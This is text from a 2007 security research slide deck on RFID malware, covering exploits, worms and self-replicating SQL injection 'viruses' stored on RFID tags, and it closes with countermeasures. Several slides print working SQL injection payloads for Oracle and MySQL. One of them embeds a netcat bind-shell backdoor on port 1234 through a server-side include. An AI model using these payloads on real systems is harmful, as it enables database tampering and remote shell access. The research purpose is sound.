The Art of RFID Exploitation

Melanie Rieback
FIRST
20 June, 2007
What is RFID?

RFID = Radio Frequency Identification
Modern RFID Applications
VeriChips – Subdermal RFID
VeriChips – Subdermal RFID
VeriChips – Subdermal RFID
VeriChips – Subdermal RFID
VeriChips – Subdermal RFID
VeriChips – Subdermal RFID

What about security?
What about security?

Applied Digital's implantable chips do not employ cryptography as of yet. The system is nevertheless safe because its chips can only be read by the company's proprietary scanners.

- Scott Silverman, CEO of Applied Digital

http://www.siliconvalley.com/mld/siliconvalley/9154114.htm
RFID Security Problems

Some Security Problems:

- Unauthorized tag reading
- Eavesdropping
- Tracking
- Tag cloning
- Denial of Service
Introduction to RFID Malware

What is RFID Malware?

- Low-level misuse of improperly formatted RFID tag data
- Three main kinds of RFID Malware:
  1. RFID Exploits
  2. RFID Worms
  3. RFID Viruses
Typical RFID System Architecture

Sun Microsystems RFID Architecture
Our RFID Malware Test Platform

- We built our own test RFID middleware
- Test setup is modular
- Ethical / legal concerns
Types of RFID Exploits

Buffer overflows

• Small buffers

• RFID emulators
Types of RFID Exploits

Code Insertion

- Special characters
- Client-side scripting
- Server-side scripting
Types of RFID Exploits

SQL Injection

- Steal data
- Modify DB
- Denial of Service
- System commands
RFID Worms

What is an RFID Worm?

- RFID exploit that downloads/executes remote malware
- RFID worms propagate either via network or RFID tags
- Often has a payload (modify filesystem / backdoor)
RFID Viruses

Application scenario:

- Supermarket distribution center (with RFID tagged containers)
- Arriving containers: scanned – emptied – refilled – relabeled
- Containers are then sent onwards to local supermarkets
**Example Database Layout:**

<table>
<thead>
<tr>
<th>TagID</th>
<th>NewContents</th>
<th>OldContents</th>
</tr>
</thead>
<tbody>
<tr>
<td>123</td>
<td>Apples</td>
<td>Oranges</td>
</tr>
<tr>
<td>234</td>
<td>Pears</td>
<td></td>
</tr>
</tbody>
</table>

ContainerContents table
RFID Viruses

How the RFID virus works:

- SQL Injection attack:
  
  \[
  \text{OldContents}=\text{Raspberries};\text{UPDATE ContainerContents SET NewContents} = \text{NewContents} || \``;[SQL Injection]'';
  \]

- Filling in the SQL injection part:
  
  \[
  [\text{SQL Injection}] = \text{UPDATE ContainerContents SET NewContents} = \text{NewContents} || \``;[SQL Injection]'';
  \]
RFID Viruses

Self-replication:

• ‘Get Current Query’ function:

SELECT SQL_TEXT FROM v$sql WHERE INSTR(SQL_TEXT,'"')>0;

• A complete virus (Oracle SQL*Plus):

Contents=Raspberries;
UPDATE ContainerContents SET NewContents= NewContents || ';' || CHR(10) || (SELECT SQL_TEXT FROM v$sql WHERE INSTR(SQL_TEXT,'"')>0);
RFID Viruses

Example Virus: (Oracle/SSI)

• Here, SQL injection targets an INSERT query:
   ```
   Apples',NewContents=(select SUBSTR(SQL_TEXT,43,127) FROM v$sql WHERE INSTR(SQL_TEXT,'<!--#exec cmd=``netcat -lp1234|sh''-->')>0)--
   ```

• Payload uses a server-side include to open a backdoor on port 1234 of the web management platform

• Virus fits on a 1 kbit RFID tag (127 characters)
Self-replication with Quines:

- Quine = A program that prints its own source code:
- The classic example (in C):

  ```c
  char*f="char*f=%c%s%c;main()
  {printf(f,34,f,34,10);}%c";
  main(){printf(f,34,f,34,10);}"
  ```

- Introns = Quine data not used to output quine code
RFID Viruses

Example Quine Virus: (mySQL)

• This SQL injection virus is a quine:

```sql
';SET@a='UPDATE ContainerContents SET NewContents=
  concat('\\\\';SET@a=',QUOTE(@a),'\',@a);-- <!--#exec cmd="regedit"--
>';UPDATE ContainerContents SET NewContents=concat('\';SET@a=',
  QUOTE(@a),'\',@a);-- <!--#exec cmd="regedit"-->
```

• Virus fits on a 2kbit RFID tag (233 characters)
## RFID Viruses

### Targets that we’ve infected:

<table>
<thead>
<tr>
<th>Exploits</th>
<th>RFID Reader</th>
<th>WWW Management</th>
<th>Oracle</th>
<th>SQL Server</th>
<th>PostgreSQL</th>
<th>MySQL</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL injection (single query)</td>
<td></td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X(N)</td>
</tr>
<tr>
<td>SQL injection (multiple query)</td>
<td></td>
<td></td>
<td>X</td>
<td>X</td>
<td>X</td>
<td>X(N)</td>
</tr>
<tr>
<td>Code Insertion</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Buffer Overflows</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Worms</td>
<td>X</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Viruses</th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Self-Referencing Commands</td>
<td></td>
<td></td>
<td>X(A)</td>
<td>X(A)</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Quines</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Payloads</th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL commands</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>XSS/SSI</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>System Commands</td>
<td>X</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

| X = Successfully implemented                  |             |                |        |            |            |        |
| A = Requires administrator privileges         |             |                |        |            |            |        |
| C = Requires contactless smart card (>1k bits)|             |                |        |            |            |        |
| N = Requires non-standard configuration        |             |                |        |            |            |        |
How to Stop RFID Malware

Countermeasures:

- Sanitize input
- Error / bounds checking
- Disable unnecessary facilities
- Segregate users (and servers)
- Use parameter binding
- Code review
- Limit permissions
The Aftermath

Image: Liz McIntyre 2006
Questions?